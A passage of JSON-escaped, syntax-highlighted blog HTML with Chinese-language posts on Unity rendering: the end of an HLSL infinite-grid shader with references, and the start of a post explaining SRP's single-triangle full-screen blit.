\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ehalfLineWidth\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eintensity\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003esmoothstep\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ethreshold\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e0.5\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003egridEdge\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 羽化边缘,减少锯齿\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ealpha\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003emax\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eintensity\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eintensity\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ealpha\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003epow\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nb\"\u003esaturate\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003emax\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ediff\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ediff\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"p\"\u003e)),\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_FadeOut\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 离得越远越淡\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecolor\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nb\"\u003eabs\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003escaledPos\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ehalfLineWidth\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecolor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_ZAxisColor\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eelse\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nb\"\u003eabs\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003escaledPos\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ehalfLineWidth\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecolor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_XAxisColor\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecolor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_LineColor\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecolor\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ergb\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecolor\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ealpha\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efrag\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eVaryings\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003einput\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eout\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edepth\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nd\"\u003eSV_Depth\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nd\"\u003eSV_Target\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionWS\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eGetDepthAndWorldPosition\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003einput\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003euv\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edepth\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 划分等级\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// level: 0 1 2 3 ...\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// cameraY: 0 --- 100 --- 1000 --- 10000 --- 100000 --- ...\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecameraY\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003eabs\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_CameraPositionWS\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003elevel\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003emax\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mo\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003efloor\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nb\"\u003elog10\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecameraY\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epow10Level\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003epow\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003elevel\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003enextHeight\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epow10Level\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e100\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprevHeight\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003elevel\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e==\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mo\"\u003e0\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mo\"\u003e0\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003epow10Level\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprogress\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecameraY\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprevHeight\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003enextHeight\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprevHeight\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ec1\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eGetGridColor\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003epositionWS\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003elevel\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ec2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eGetGridColor\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003epositionWS\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003elevel\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003elerp\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ec1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ec2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprogress\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eENDHLSL\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch2 id=\"参考\"\u003e参考\u003ca class=\"headerlink\" href=\"#参考\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://asliceofrendering.com/scene%20helper/2020/01/05/InfiniteGrid/\"\u003eHow to make an infinite grid. | A Slice of Rendering\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://zhuanlan.zhihu.com/p/647256794\"\u003e【UnityShader】无限网格(Infinite Grid )(14) - 知乎 (zhihu.com)\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://zhuanlan.zhihu.com/p/647926704\"\u003e如何绘制一个无限大的网格 - 知乎 (zhihu.com)\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cdiv class=\"footnote\"\u003e\n\u003chr /\u003e\n\u003col\u003e\n\u003cli id=\"fn:1\"\u003e\n\u003cp\u003e\u003ca href=\"https://en.wikipedia.org/wiki/Fractional_part\"\u003eFractional part - Wikipedia\u003c/a\u003e\u0026#160;\u003ca class=\"footnote-backref\" href=\"#fnref:1\" title=\"Jump back to footnote 1 in the text\"\u003e\u0026#8617;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli id=\"fn:2\"\u003e\n\u003cp\u003e\u003ca href=\"https://learn.microsoft.com/en-us/windows/win32/direct3dhlsl/dx-graphics-hlsl-frac\"\u003efrac - Win32 apps | Microsoft Learn\u003c/a\u003e\u0026#160;\u003ca class=\"footnote-backref\" href=\"#fnref:2\" title=\"Jump back to footnote 2 in the text\"\u003e\u0026#8617;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003c/div\u003e\u003chr /\u003e","url":"https://note.stalomeow.com/blog/posts/scene-view-infinite-grid/"},{"title":"Unity SRP 全屏 Blit 原理","time":"2024-10-13T02:36:33Z","content":"\u003ch1 id=\"Unity-SRP-全屏-Blit-原理\"\u003eUnity SRP 全屏 Blit 原理\u003ca class=\"headerlink\" href=\"#Unity-SRP-全屏-Blit-原理\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h1\u003e\n\u003c!-- more --\u003e\n\n\u003cp\u003e一般我们做 Blit 用的都是两个三角形,或者一个 Quad。SRP 只用了一个三角形。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"示例图\" src=\"../../../obsidian-vault/attachments/Pasted%20image%2020241014124509.png\" /\u003e\u003c/p\u003e\n\u003cp\u003e三角形顶点的齐次坐标是在 Vertex Shader 里根据 Vertex ID 计算的。三角形 Mesh 中 \u003ccode\u003ev0\u003c/code\u003e、\u003ccode\u003ev1\u003c/code\u003e、\u003ccode\u003ev2\u003c/code\u003e 三个顶点的坐标可以随便给。\u003c/p\u003e\n\u003cp\u003e源码:\u003ca href=\"https://github.com/Unity-Technologies/Graphics/blob/master/Packages/com.unity.render-pipelines.core/ShaderLibrary/Common.hlsl\"\u003eGraphics/Packages/com.unity.render-pipelines.core/ShaderLibrary/Common.hlsl at master · Unity-Technologies/Graphics (github.com)\u003c/a\u003e。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"c1\"\u003e// Generates a triangle in homogeneous clip space, s.t.\u003c/span\u003e\n\u003cspan class=\"c1\"\u003e// v0 = (-1, -1, 1), v1 = (3, -1, 1), v2 = (-1, 3, 1).\u003c/span\u003e\n\u003cspan class=\"kt\"\u003efloat2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eGetFullScreenTriangleTexCoord\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003euint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003evertexID\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"cp\"\u003e#if UNITY_UV_STARTS_AT_TOP\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat2\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003evertexID\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e1.0\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003evertexID\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003cspan class=\"cp\"\u003e#else\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat2\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003evertexID\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003evertexID\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"cp\"\u003e#endif\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eGetFullScreenTriangleVertexPosition\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003euint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan 